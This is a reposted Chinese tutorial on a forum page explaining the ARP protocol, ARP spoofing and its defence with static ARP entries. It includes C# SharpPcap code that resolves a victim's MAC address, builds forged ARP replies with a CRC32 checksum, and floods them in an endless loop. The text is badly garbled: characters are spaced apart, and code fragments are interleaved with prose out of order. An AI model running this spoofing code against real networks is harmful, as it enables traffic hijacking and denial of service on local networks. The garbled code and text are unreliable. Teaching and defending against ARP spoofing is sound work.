搜索

[14552] 2019-09-05_浅谈ARP欺骗的实现与防御

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-09-05_浅谈ARP欺骗的实现与防御 浅 谈 A R P 欺 骗 的 实 现 与 防 御 原 来 是 小 名 啊   F r e e B u f   2 0 1 9 - 0 9 - 0 5 什 么 是 什 么 是 A R P 协 议 协 议 官 话 ： 在 以 太 网 协 议 中 规 定 ， 同 一 局 域 网 中 的 一 台 主 机 要 和 另 一 台 主 机 进 行 直 接 通 信 ， 必 须 要 知 道 目 标 主 机 的 M A C 地 址 。 而 在 T C P / I P 协 议 中 ， 网 络 层 和 传 输 层 只 关 心 目 标 主 机 的 I P 地 址 。 这 就 导 致 在 以 太 网 中 使 用 I P 协 议 时 ， 数 据 链 路 层 的 以 太 网 协 议 接 到 上 层 I P 协 议 提 供 的 数 据 中 ， 只 包 含 目 的 主 机 的 I P 地 址 。 于 是 需 要 一 种 方 法 ， 根 据 目 的 主 机 的 I P 地 址 ， 获 得 其 M A C 地 址 。 这 就 是 A R P 协 议 要 做 的 事 情 。 所 谓 地 址 解 析 （ a d d r e s s   r e s o l u t i o n ） 就 是 主 机 在 发 送 帧 前 将 目 标 I P 地 址 转 换 成 目 标 M A C 地 址 的 过 程 。 —   E x t r a c t e d   f r o m   W i k i P e d i a . 通 俗 点 说 ， 在 局 域 网 中 通 信 时 使 用 的 是 M A C 地 址 ， 而 不 是 常 见 的 I P 地 址 。 所 以 在 局 域 网 的 两 台 主 机 间 通 信 时 ， 必 须 要 知 道 对 方 的 M A C 地 址 ， 这 就 是 A R P 协 议 要 做 的 事 ： 将 I P 地 址 转 换 为 M A C 地 址 。 从 以 太 网 帧 来 看 ， 以 太 网 帧 分 为 ： 以 太 网 首 部 、 上 层 数 据 部 分 、 以 太 网 尾 ， 三 部 分 。 在 物 理 层 传 输 的 数 据 都 是 使 用 以 太 网 帧 来 封 装 起 来 传 输 的 （ 通 俗 的 说 就 是 在 数 据 包 头 加 上 以 太 网 首 部 ， 数 据 包 尾 加 上 以 太 网 尾 ） ， 而 网 络 传 输 是 分 层 进 行 的 ， 也 就 是 物 理 层 只 处 理 物 理 层 的 数 据 ， 对 于 以 太 网 帧 中 的 上 层 数 据 部 分 并 不 关 心 。 在 以 太 网 帧 中 ， 以 太 网 首 部 中 存 放 了 目 的 主 机 的 M A C 地 址 和 源 主 机 的 M A C 用 于 在 以 太 网 中 传 输 数 据 。 所 以 ， 在 以 太 网 通 信 中 ， 只 知 道 对 方 的 I P 地 址 是 不 可 以 通 信 的 ， 因 为 I P 地 址 属 于 第 三 层 （ 网 络 层 ） 的 地 址 ， 对 于 物 理 层 的 以 太 网 帧 来 说 I P 地 址 属 于 上 层 数 据 部 分 ， 以 太 网 是 无 法 识 别 的 ， 所 以 就 要 使 用 A R P 协 议 获 取 到 对 方 的 M A C 地 址 进 行 通 信 。 A R P 是 如 何 工 作 的 ？ 是 如 何 工 作 的 ？ 举 个 栗 子 ： 现 在 有 两 台 处 于 同 一 局 域 网 的 主 机 A 、 B 。 主 机 主 机 I P 地 址 地 址 M A C 地 址 地 址 A 1 9 2 . 1 6 8 . 1 . 1 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 1 B 1 9 2 . 1 6 8 . 1 . 2 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 2 现 在 主 机 A 要 和 主 机 B 通 信 ， 那 么 根 据 上 面 的 介 绍 可 以 知 道 ， 主 机 A 仅 有 主 机 B 的 I P 地 址 是 不 可 以 通 信 的 ， 还 要 知 道 主 机 B 的 M A C 地 址 ， 下 面 介 绍 主 机 A 是 如 何 通 过 A R P 协 议 获 取 主 机 B 的 M A C 地 址 的 ： 第 第 1 步 ： 步 ： 根 据 主 机 A 上 的 路 由 表 内 容 ， I P 确 定 用 于 访 问 主 机 B 的 转 发 I P 地 址 是 1 9 2 . 1 6 8 . 1 . 2 。 然 后 A 主 机 在 自 己 的 本 地 A R P 缓 存 中 检 查 主 机 B 的 匹 配 M A C 地 址 。 第 第 2 步 ： 步 ： 如 果 主 机 A 在 A R P 缓 存 中 没 有 找 到 映 射 ， 它 将 询 问 1 9 2 . 1 6 8 . 1 . 2 的 硬 件 地 址 ， 从 而 将 A R P 请 求 帧 广 播 到 本 地 网 络 上 的 所 有 主 机 。 源 主 机 A 的 I P 地 址 和 M A C 地 址 都 包 括 在 A R P 请 求 中 。 本 地 网 络 上 的 每 台 主 机 都 接 收 到 A R P 请 求 并 且 检 查 是 否 与 自 己 的 I P 地 址 匹 配 。 如 果 主 机 发 现 请 求 的 I P 地 址 与 自 己 的 I P 地 址 不 匹 配 ， 它 将 丢 弃 A R P 请 求 第 第 3 步 ： 步 ： 主 机 B 确 定 A R P 请 求 中 的 I P 地 址 与 自 己 的 I P 地 址 匹 配 ， 则 将 主 机 A 的 I P 地 址 和 M A C 地 址 映 射 添 加 到 本 地 A R P 缓 存 中 。 第 第 4 步 ： 步 ： 主 机 B 将 包 含 其 M A C 地 址 的 A R P 回 复 消 息 直 接 发 送 回 主 机 A 。 第 第 5 步 ： 步 ： 当 主 机 A 收 到 从 主 机 B 发 来 的 A R P 回 复 消 息 时 ， 会 用 主 机 B 的 I P 和 M A C 地 址 映 射 更 新 A R P 缓 存 。 本 机 缓 存 是 有 生 存 期 的 ， 生 存 期 结 束 后 ， 将 再 次 重 复 上 面 的 过 程 。 主 机 B 的 M A C 地 址 一 旦 确 定 ， 主 机 A 就 能 向 主 机 B 发 送 I P 通 信 了 。 了 解 A R P 协 议 的 工 作 原 理 后 可 以 分 析 出 其 存 在 一 个 严 重 的 安 全 问 题 ： 在 A R P 回 复 时 ， 发 送 请 求 包 的 主 机 A 并 不 会 验 证 A R P 回 复 包 的 真 实 性 ， 也 就 是 不 能 判 断 回 复 主 机 A 的 是 不 是 主 机 B 。 由 此 引 出 一 个 局 域 网 攻 击 方 式 A R P 欺 骗 。 什 么 是 什 么 是 A R P 欺 骗 欺 骗 举 个 栗 子 ： 主 机 主 机 I P M A C A 1 9 2 . 1 6 8 . 1 . 1 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 1 B 1 9 2 . 1 6 8 . 1 . 2 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 2 C 1 9 2 . 1 6 8 . 1 . 3 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 3 1 . 主 机 A 要 和 主 机 C 通 信 ， 主 机 A 发 出 A R P 包 询 问 谁 是 1 9 2 . 1 6 8 . 1 . 3 ? 请 回 复 1 9 2 . 1 6 8 . 1 . 1 2 . 这 时 主 机 B 在 疯 狂 的 向 主 机 A 回 复 ， 我 是 1 9 2 . 1 6 8 . 1 . 3 ， 我 的 地 址 是 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 2 3 . 由 于 A R P 协 议 不 会 验 证 回 复 者 的 身 份 ， 造 成 主 机 A 错 误 的 将 1 9 2 . 1 6 8 . 1 . 3 的 M A C 映 射 为 0 A - 1 1 - 2 2 - 3 3 - 4 4 - 0 2 。 A R P 欺 骗 的 分 类 欺 骗 的 分 类 1 . 主 机 欺 骗 ， 如 同 上 面 的 栗 子 ， 主 机 B 欺 骗 局 域 网 中 的 主 机 A 。 2 . 网 关 欺 骗 ， 局 域 网 中 的 主 机 欺 骗 网 关 ， 从 而 获 取 其 他 主 机 的 进 流 量 。 A R P 攻 击 的 危 害 攻 击 的 危 害 1 . 造 成 局 域 网 中 的 其 他 主 机 断 网 。 2 . 劫 持 局 域 网 中 其 他 主 机 或 网 关 的 流 量 ， 获 取 敏 感 信 息 等 。 如 何 实 现 如 何 实 现 A R P 攻 击 攻 击 找 轮 子 找 轮 子 例 如 k a l i 下 的 a r p s p o o f 、 e t t e r c a p 等 工 具 。
造 轮 子 造 轮 子 首 先 介 绍 下 首 先 介 绍 下 L i b P a c p ： ： L i b P c a p 是 一 个 U N I X 下 的 C 函 数 库 ， 它 提 供 的 A P I ， 能 获 取 和 过 滤 从 任 意 一 块 网 卡 在 数 据 链 路 层 上 的 帧 。 不 同 的 U N I X 系 统 有 不 同 的 架 构 去 处 理 数 据 链 路 层 上 的 数 据 帧 ， 所 以 程 序 员 如 果 想 要 写 一 个 能 运 行 在 U N I X 上 的 、 直 接 读 取 或 者 操 作 数 据 链 路 层 上 的 帧 的 应 用 程 序 ， 他 就 不 得 不 专 门 为 这 个 特 点 版 本 的 U N I X 写 一 个 访 问 帧 的 函 数 。 l i b p c a p 的 目 的 就 是 提 供 一 个 抽 象 层 ， 这 样 程 序 员 就 能 编 写 可 运 行 在 所 有 版 本 的 U N I X 上 的 包 获 取 和 分 析 工 具 了 。 然 后 是 然 后 是 W i n P c a p : W i n P c a p 是 一 个 专 为 W i n d o w s 系 统 设 计 的 、 基 于 l i b p c a p 的 库 。 大 多 数 W i n d o w s 下 的 网 络 流 量 分 析 工 具 都 是 基 于 W i n P c a p 开 发 的 ， 比 如 W i r e s h a r k 。 接 着 是 接 着 是 S h a r p P c a p ： ： S h a r p P c a p 是 封 装 好 W i n P c a p 和 L i b P c a p 的 C # 库 。 除 了 知 道 开 发 用 的 库 还 要 知 道 以 太 网 帧 和 A R P 报 文 的 结 构 （ S h a r p P c a p 提 供 了 封 装 好 的 方 法 ， 但 是 为 了 学 习 还 是 自 己 造 轮 子 ） ： 第 一 部 分 ： 第 一 部 分 ： 以 太 网 首 部 也 可 以 说 是 以 太 网 帧 的 头 部 ， 这 部 分 包 括 了 目 标 主 机 的 M A C 地 址 、 源 主 机 的 M A C 地 址 、 上 层 协 议 类 型 第 二 部 分 ： 第 二 部 分 ： A R P 报 文 这 部 分 中 的 第 2 0 位 ， 0 x 0 0 , 0 x 0 1 表 示 A R P 请 求 包 , 0 x 0 0 , 0 x 0 2 表 示 应 答 包 。 由 于 以 太 网 帧 最 短 长 度 为 6 4 个 字 节 ， 由 于 A R P 报 文 加 上 以 太 网 头 不 足 6 4 个 字 节 ， 所 以 要 填 充 1 8 个 字 节 的 0 x 0 0 第 三 部 分 ： F C S 帧 校 验 序 列 即 计 算 机 网 络 数 据 链 路 层 的 协 议 数 据 单 元 （ 帧 ） 的 尾 部 字 段 ， 是 一 段 4 个 字 节 的 循 环 冗 余 校 验 码 。 源 节 点 发 送 数 据 帧 时 ， 由 帧 的 帧 头 和 数 据 部 分 计 算 得 出 F C S ， 目 的 节 点 接 收 到 后 ， 用 同 样 的 方 式 再 计 算 一 遍 F C S ， 如 果 与 接 收 到 的 F C S 不 同 ， 则 认 为 帧 在 传 输 过 程 中 发 生 了 错 误 ， 从 而 选 择 丢 弃 这 个 帧 。 知 道 了 A R P 欺 骗 的 原 理 和 A R P 数 据 包 的 格 式 后 ， 只 要 构 造 出 一 个 A R P 欺 骗 包 ， 重 复 向 目 标 主 机 发 出 就 可 以 了 。 原 理 很 简 单 ， 实 现 起 来 稍 有 一 点 难 度 ： 首 先 要 先 要 获 取 本 机 的 I P 地 址 和 M A C 地 址 ， 我 在 下 面 的 D e e m o 中 实 现 了 S h a r p P a c p 获 取 本 机 I P v 4 地 址 和 M A C 地 址 的 方 法 : 代 码 分 析 ： 代 码 分 析 ： L i b P c a p L i v e D e v i c e L i s t . I n s t a n c e 获 取 本 机 中 所 有 网 卡 的 L i s t d e v i c e . A d d r e s s 获 取 网 卡 中 所 有 的 地 址 信 息 （ 包 括 I P v 4 ， I P v 6 ， M A C ） S o c k a d d r . A d d r e s s T y p e . A F _ I N E T _ A F I N E T 6 用 于 判 断 是 不 是 I P 地 址 ( 官 方 解 释 ) S o c k a d d r . A d d r e s s T y p e . H A R D W A R E 用 于 判 断 是 不 是 M A C 地 址 接 下 来 还 要 获 取 到 目 标 主 机 的 地 址 信 息 ， I P 地 址 和 M A C 可 以 手 动 指 定 ， 为 了 更 加 人 性 化 的 挨 打 操 作 ， 当 然 要 根 据 输 入 的 I P 自 动 获 得 M A C 地 址 了 ， 知 道 A R P 原 理 了 ， 获 取 对 方 的 M A C 地 址 只 要 向 对 方 发 送 一 个 A R P 请 求 包 然 后 监 听 网 卡 就 可 以 了 。 代 码 如 下 ： / / /   < s u m m a r y > / / /   发 送 A R P 请 求 包 ， 根 据 返 回 的 应 答 包 获 取 M A C 地 址 / / /   < / s u m m a r y > p u b l i c   v o i d   S c a n L A N ( s t r i n g   r e c i p i e n t I P , s t r i n g   s e n d e r M A C , s t r i n g   s e n d e r I P ) {         / /   构 造 A r p 请 求 包         v a r   a r p P a c k e t s   =   B u i l d R e q u e s t ( I P A d d r e s s . P a r s e ( r e c i p i e n t I P ) ,   P h y s i c a l A d d r e s s . P a r s e ( s e n d e r M A C ) ,   I P A d d r e s s . P a r s e ( s e n d e r I P ) ) ;         / / 创 建 一 个 “ t c p d u m p ” 过 滤 器 ， 只 允 许 读 取 a r p 回 复         S t r i n g   a r p F i l t e r   =   " a r p   a n d   e t h e r   d s t   "   +   s e n d e r M A C ;         / / o p e n   t h e   d e v i c e   w i t h   2 0 m s   t i m e o u t   打 开 设 备 ， 设 置 超 时 时 间 2 0 m s
代 码 解 析 ： 代 码 解 析 ： 创 建 一 个 线 程 专 门 用 来 发 送 A R P 请 求 包 和 解 析 网 卡 中 收 到 的 A R P 应 答 包 ， 启 动 线 程 发 送 一 个 包 后 ， 检 测 网 卡 数 据 ， 并 过 滤 出 所 有 网 卡 中 的 A R P 数 据 包 ， 然 后 对 包 进 行 解 析 ， 如 果 包 中 的 源 主 机 I P 是 构 造 的 包 中 的 目 标 主 机 证 明 这 个 包 是 刚 才 发 送 的 请 求 包 的 应 答 包 ， 然 后 ： 1 . 通 知 事 件 更 新 U I 、 2 . 结 束 线 程 、 3 . 关 闭 设 备 得 到 本 机 地 址 信 息 和 目 标 主 机 的 地 址 信 息 后 ， 只 要 将 之 前 构 造 的 包 中 的 相 应 的 地 址 信 息 体 替 换 掉 就 好 了 除 了 要 换 掉 包 中 的 地 址 信 息 ， 还 要 在 尾 部 加 上 F C S 校 验 码 ： 什 么 是 F C S 校 验 码 ？ F C S ： F r a m e   C h e c k   S e q u e n c e （ 帧 校 验 序 列 ） ， 俗 称 帧 尾 ， 即 计 算 机 网 络 数 据 链 路 层 的 协 议 数 据 单 元 （ 帧 ） 的 尾 部 字 段 ， 是 一 段 4 个 字 节 的 循 环 冗 余 校 验 码 。 源 节 点 发 送 数 据 帧 时 ， 由 帧 的 帧 头 和 数 据 部 分 计 算 得 出 F C S ， 目 的 节 点 接 收 到 后 ， 用 同 样 的 方 式 再 计 算 一 遍 F C S ， 如 果 与 接 收 到 的 F C S 不 同 ， 则 认 为 帧 在 传 输 过 程 中 发 生 了 错 误 ， 从 而 选 择 丢 弃 这 个 帧 。 F C S 提 供 了 一 种 错 误 检 测 机 制 ， 用 来 验 证 帧 在 传 输 过 程 中 的 完 整 性 。 F C S 采 用 了 循 环 冗 余 校 验 C R C 3 2 校 验 算 法 ， 那 么 什 么 是 C R C 校 验 呢 ？ C R C 校 验 通 俗 点 讲 ， 就 是 将 给 出 的 二 进 制 数 据 与 一 个 固 定 的 多 项 式 进 行 莫 2 除 计 算 ， 得 出 的 余 数 就 是 C R C 校 验 码 。 举 个 栗 ： 计 算 4 位 的 C R C 校 验 码 知 道 C R C 计 算 原 理 后 ， 再 来 看 一 下 C R C - 4 的 实 现 : 原 始 的   C R C   校 验 算 法 : 根 据 多 项 式 除 法 ， 我 们 就 可 以 得 到 原 始 的   C R C   校 验 算 法 。 假 设 生 成 多 项 式   g ( x )   是   r   阶 的 ， 原 始 数 据 存 放 在   d a t a   中 ， 长 度 为   l e n   个   b i t   ，   r e g   是   r + 1   位 的 变 量 。 以   C R C - 4   为 例 ， 生 成 多 项 式   g ( x ) = x ^ 4   +   x   +   1   ， 对 应 了 一 个   5 b i t s   的 二 进 制 数 字   1 0 0 1 1   ， 那 么   r e g   就 是   5   b i t s   。 r e g [ 1 ]   表 明   r e g   的 最 低 位 ，   r e g [ r + 1 ]   是   r e g   的 最 高 位 。 通 过 反 复 的 移 位 和 进 行 除 法 ， 那 么 最 终 该 寄 存 器 中 的 值 去 掉 最 高 一 位 就 是 我 们 所 要 求 的 余 数 。 所 以 可 以 将 上 述 步 骤 用 下 面 的 流 程 描 述 ：         S t r i n g   a r p F i l t e r   =   " a r p   a n d   e t h e r   d s t   "   +   s e n d e r M A C ;         / / o p e n   t h e   d e v i c e   w i t h   2 0 m s   t i m e o u t   打 开 设 备 ， 设 置 超 时 时 间 2 0 m s         _ d e v i c e . O p e n ( D e v i c e M o d e . P r o m i s c u o u s ,   2 0 ) ;         / / s e t   t h e   f i l t e r         设 置 过 滤 器         _ d e v i c e . F i l t e r   =   a r p F i l t e r ;         / / 初 始 化 扫 描 线 程         s c a n T h r e a d   =   n e w   T h r e a d ( ( )   = & g t ;         {                 v a r   l a s t R e q u e s t T i m e   =   D a t e T i m e . F r o m B i n a r y ( 0 ) ;                 v a r   r e q u e s t I n t e r v a l   =   n e w   T i m e S p a n ( 0 ,   0 ,   1 ) ;                 v a r   t i m e o u t D a t e T i m e   =   D a t e T i m e . N o w   +   t i m e o u t ;                 w h i l e                 {                         i f   ( r e q u e s t I n t e r v a l   & l t ;   ( D a t e T i m e . N o w   -   l a s t R e q u e s t T i m e ) )                         {                                 / /   i n j e c t   t h e   p a c k e t   t o   t h e   w i r e   发 送 请 求 包                                 _ d e v i c e . S e n d P a c k e t ( a r p P a c k e t s ) ;                                 l a s t R e q u e s t T i m e   =   D a t e T i m e . N o w ;                         }                         / / r e a d   t h e   n e x t   p a c k e t   f r o m   t h e   n e t w o r k                         v a r   r e p l y   =   _ d e v i c e . G e t N e x t P a c k e t ( ) ;         / / 获 取 网 卡 中 的 下 一 个 包 ， 过 滤 出 A R P                         i f   ( r e p l y   = =   n u l l )     / / 下 一 个 包 为 空 时 ， 跳 过 本 次 循 环                         {                                 c o n t i n u e ;                         }                         / /   p a r s e   t h e   p a c k e t   解 析 数 据 包                         v a r   p a c k e t   =   P a c k e t D o t N e t . P a c k e t . P a r s e P a c k e t ( r e p l y . L i n k L a y e r T y p e ,   r e p l y . D a t a ) ;                         / /   i s   t h i s   a n   a r p   p a c k e t ?   这 是 一 个 a r p 数 据 包 吗 ？ v a r   a r p P a c k e t   =   P a c k e t D o t N e t . A R P P a c k e t . G e t E n c a p s u l a t e d ( p a c k e t ) ;                         i f   ( a r p P a c k e t   = =   n u l l )                         {                                 c o n t i n u e ;                         }                         / / i f   t h i s   i s   t h e   r e p l y   w e ' r e   l o o k i n g   f o r ,   s t o p     / / A R P 包 中 的 源 主 机 I P   等 于   U I 中 的 目 标 主 机 I P                         i f   ( a r p P a c k e t . S e n d e r P r o t o c o l A d d r e s s . T o S t r i n g ( ) . E q u a l s ( r e c i p i e n t I P ) )                         {                                 / /   通 知 事 件   - 更 新 靶 机 M A C                                 i f   ( R e s o l v e d E v e n t   ! =   n u l l )                                 {                                         R e s o l v e d E v e n t ( t h i s ,   a r p P a c k e t . S e n d e r H a r d w a r e A d d r e s s ) ;                                 }                                 b r e a k ;                         }                 }                 _ d e v i c e . C l o s e ( ) ;         / / 关 闭 设 备         } ) ;         s c a n T h r e a d . S t a r t ( ) ;   / / 启 动 线 程 } r e g   =   0 ;
上 面 只 是 简 述 一 下 C R C 算 法 的 原 理 ， 如 果 采 用 C R C - 4 的 原 始 算 法 实 现 速 度 很 慢 ， 计 算 一 个 A R P 数 据 包 的 C R C 3 2 码 大 约 亲 测 需 要 十 几 秒 左 右 的 时 间 ， 建 议 以 用 C R C - 3 2 算 法 校 验 ， 由 于 C R C 3 2 算 法 实 现 比 较 复 杂 ， 这 里 不 再 做 论 述 。 然 后 将 计 算 得 出 的 C R C 3 2 码 粘 到 构 造 好 的 包 尾 就 可 以 了 。 到 此 ， A R P 数 据 包 的 构 造 就 算 完 成 了 。 最 后 要 实 现 A R P 的 欺 骗 ， 只 要 利 用 S h a r p P a c p 提 供 的 发 包 方 法 ， 在 线 程 中 疯 狂 发 包 就 可 以 了 。 正 文 ： 如 何 防 御 正 文 ： 如 何 防 御 A R P 欺 骗 欺 骗 A R P 欺 骗 是 通 过 重 复 应 答 实 现 的 ， 那 么 只 需 要 在 本 机 添 加 一 条 静 态 的 A R P 映 射 ， 这 样 就 不 需 要 询 问 网 关 M A C 地 址 了 ， 这 种 方 法 只 对 主 机 欺 骗 有 效 。 对 于 网 关 欺 骗 还 需 要 在 网 关 中 也 添 加 一 条 到 主 机 的 静 态 A R P 映 射 。 1 . 用 管 理 身 份 运 行 命 令 提 示 符 ； 输 入 n e t s h   i   i   s h o w   i n ， 查 看 一 下 本 机 有 哪 些 网 络 连 接 2 . 查 看 一 下 网 关 的 M A C 地 址 。 注 意 如 果 正 遭 受 A R P 欺 骗 攻 击 ， 通 过 此 方 法 查 处 的 可 能 是 虚 假 的 M A C 地 址 。 输 入 a r p   - a 命 令 查 询 本 机 的 a r p 映 射 表 ， 如 果 找 不 到 网 关 的 信 息 ， 可 以 先 p i n g 一 下 网 关 。 3 . 输 入 ： n e t s h   - c   “ i   i ”   a d d   n e i g h b o r s   连 接 的 I d x 号   网 关 I P   网 关 M A C   添 加 一 条 静 态 映 射 , 我 已 经 添 加 过 了 ， 所 以 会 显 示   对 象 已 存 在 d a t a   =   d a t a 追 加 r 个 ; p o s   =   1 ; w h i l e ( p o s   & l t ; =   l e n ) {         i f ( r e g [ r + 1 ]   = =   1 )   / /   表 明 r e g 可 以 除 以 g ( x )         {                 / /   只 关 心 余 数 ， 根 据 上 面 的 算 法 规 则 可 知 就 是 X O R 运 算                 r e g   =   r e g   X O R   g ( x ) ;         }         / /   移 出 最 高 位 ， 移 入 新 数 据         r e g   =   ( r e g & l t ; & l t ; 1 )   |   ( d a t a [ p o s ] ) ;         p o s + + ; } r e t u r n   r e g ;   / /   r e g 中 的 后 r 位 存 储 的 就 是 余 数 / / 计 算 C R C 3 2 校 验 码 U I n t 3 2   u   =   G e t C R C 3 2 ( p a c k e t ) ; b y t e [ ]   c r c   =   n e w   b y t e [ 4 ] ; / / U i n t 转 B y t e [ 4 ]   C R C 3 2   i s   U n i t   T o   B y t e [ 4 ] c r c [ 0 ]   =   ( b y t e ) ( u   & g t ; & g t ;   2 4 ) ; c r c [ 1 ]   =   ( b y t e ) ( u   & g t ; & g t ;   1 6 ) ; c r c [ 2 ]   =   ( b y t e ) ( u   & g t ; & g t ;   8 ) ; c r c [ 3 ]   =   ( b y t e ) ( u ) ; / / 填 充 F C S 校 验 位 f o r   ( i n t   i   =   0 ;   i   & l t ;   c r c . L e n g t h ;   i + + ) {         p 1 [ p 1 . L e n g t h   -   1   -   4   +   i ]   =   c r c [ i ] ; } r e t u r n   p 1 ; / / /   & l t ; s u m m a r y & g t ; / / /   a r p 欺 骗 ： 对 内 网 P C 进 行 欺 骗 / / /   & l t ; / s u m m a r y & g t ; / / /   & l t ; p a r a m   n a m e = " g e t w a y I P " & g t ; & l t ; / p a r a m & g t ; / / /   & l t ; p a r a m   n a m e = " w r o n g M a c " & g t ; & l t ; / p a r a m & g t ; / / /   & l t ; p a r a m   n a m e = " d e s t I P " & g t ; & l t ; / p a r a m & g t ; / / /   & l t ; p a r a m   n a m e = " d e s t M a c " & g t ; & l t ; / p a r a m & g t ; p u b l i c   v o i d   S t a r t A R P S p o o f i n g ( s t r i n g   s e n d e r I P ,   s t r i n g   r e c i p i e n t I P , s t r i n g   s e n d e r M A C , s t r i n g   r e c i p i e n t M A C ) {         m I P   =   I P T O B Y T E ( r e c i p i e n t I P ) ;         s I P   =   I P T O B Y T E ( s e n d e r I P ) ;         m M A C   =   M A C T O B Y T E ( r e c i p i e n t M A C ) ;         s M A C   =   M A C T O B Y T E ( s e n d e r M A C ) ;         / / 构 造 A R P 欺 骗 包         p a c k e t   =   g e t P a c k e t ( s I P ,   m I P ,   s M A C ,   m M A C ) ;         / / 初 始 化 发 包 线 程         s e n d T h r e a d   =   n e w   T h r e a d ( S e n d P a c k ) ;         / / 启 动 线 程         s e n d T h r e a d . S t a r t ( ) ; } / / /   & l t ; s u m m a r y & g t ; / / /   发 送 数 据 / / /   & l t ; / s u m m a r y & g t ; p u b l i c   v o i d   S e n d P a c k ( ) {         _ d e v i c e . O p e n ( ) ;         v a r   t i m e o u t D a t e T i m e   =   D a t e T i m e . N o w   +   t i m e o u t ;         / / 发 送 数 据 包         w h i l e   ( t r u e )         {                 _ d e v i c e . S e n d P a c k e t ( p a c k e t ) ;                 t i m e + + ;                 / /   通 知 事 件   - 更 新 发 包 次 数                 i f   ( R e s o l v e d E v e n t   ! =   n u l l )                 {                         R e s o l v e d T i m e E v e n t ( t h i s ,   t i m e ) ;                 }                 T h r e a d . S l e e p ( 1 0 0 ) ;     / / 线 程 休 眠 1 0 0 m s         } } n e t s h   i   i   s h o w   i n n e t s h   - c   " i   i "   a d d   n e i g h b o r s   连 接 的 I d x 号   网 关 I P   网 关 M A C n e t s h   - c   " i   i "   a d d   n e i g h b o r s   9   1 0 . 6 0 . 1 2 . 1   4 c - 5 e - 0 c - 6 4 - 7 3 - f 5
参 考 资 料 参 考 资 料 S h a r p P c a p 官 方 文 档 P a c k e t D o t N e t （ 使 用 P a c k e t D o t N e t 可 以 很 方 便 的 构 造 出 数 据 包 ， 只 需 几 个 参 数 ） S h a r p P c a p T o o l （ 实 现 参 考 ， 没 有 做 物 理 机 的 虚 拟 机 网 卡 过 滤 ， 当 遍 历 到 虚 拟 机 网 卡 的 网 关 I P 时 会 抛 异 常 ， 因 为 V M w a r e 的 虚 拟 机 网 卡 没 有 网 关 地 址 ） 牢 底 坐 穿 工 具 箱 （ 我 的 实 现 ， 已 经 过 滤 掉 了 V M w a r e 的 虚 拟 机 网 卡 ） * 本 文 原 创 作 者 ： 原 来 是 小 名 啊 ， 本 文 属 本 文 原 创 作 者 ： 原 来 是 小 名 啊 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理